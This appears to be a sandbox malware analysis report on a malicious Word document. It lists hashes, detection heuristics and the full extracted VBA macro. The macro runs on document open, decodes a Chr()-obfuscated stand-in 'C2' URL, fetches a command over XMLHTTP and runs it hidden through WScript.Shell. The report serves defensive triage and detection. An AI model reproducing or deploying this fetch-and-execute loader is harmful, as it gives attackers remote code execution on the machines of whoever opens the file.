Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 622cd94127c65e62…

MALICIOUS

Office (OOXML) / .DOCX

17.5 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-29
MD5: 82316092f19b2c05aa13e681dbe4413e SHA-1: 643f38c17e78180b21527be02e173d45c25cd6d7 SHA-256: 622cd94127c65e62484ad3e3ecfccd9da93a50e782a0835b94a2e212805f8dd0
170 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set dE56f = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set dE56f = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1406 bytes
SHA-256: 05381a978e8e0ee09d8ce739afb0f3edd7075bc2326069bdafecda1baec572d4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim xY12b As Object
    Dim aB34c As String
    Dim dE56f As Object
    Dim gH78i As String
    
    ' Define the C2 server URL
    aB34c = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116)
    
    ' Fetch the command from the C2 server
    Set dE56f = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
    dE56f.Open Chr(71) & Chr(69) & Chr(84), aB34c, False
    dE56f.Send
    
    ' Parse the command from the response
    gH78i = dE56f.responseText
    
    ' Execute the received command
    Set xY12b = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    xY12b.Run gH78i, 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: abd1a5a9bd495f6836df07224d2a0539c1495266dd9e61abe403950513567c70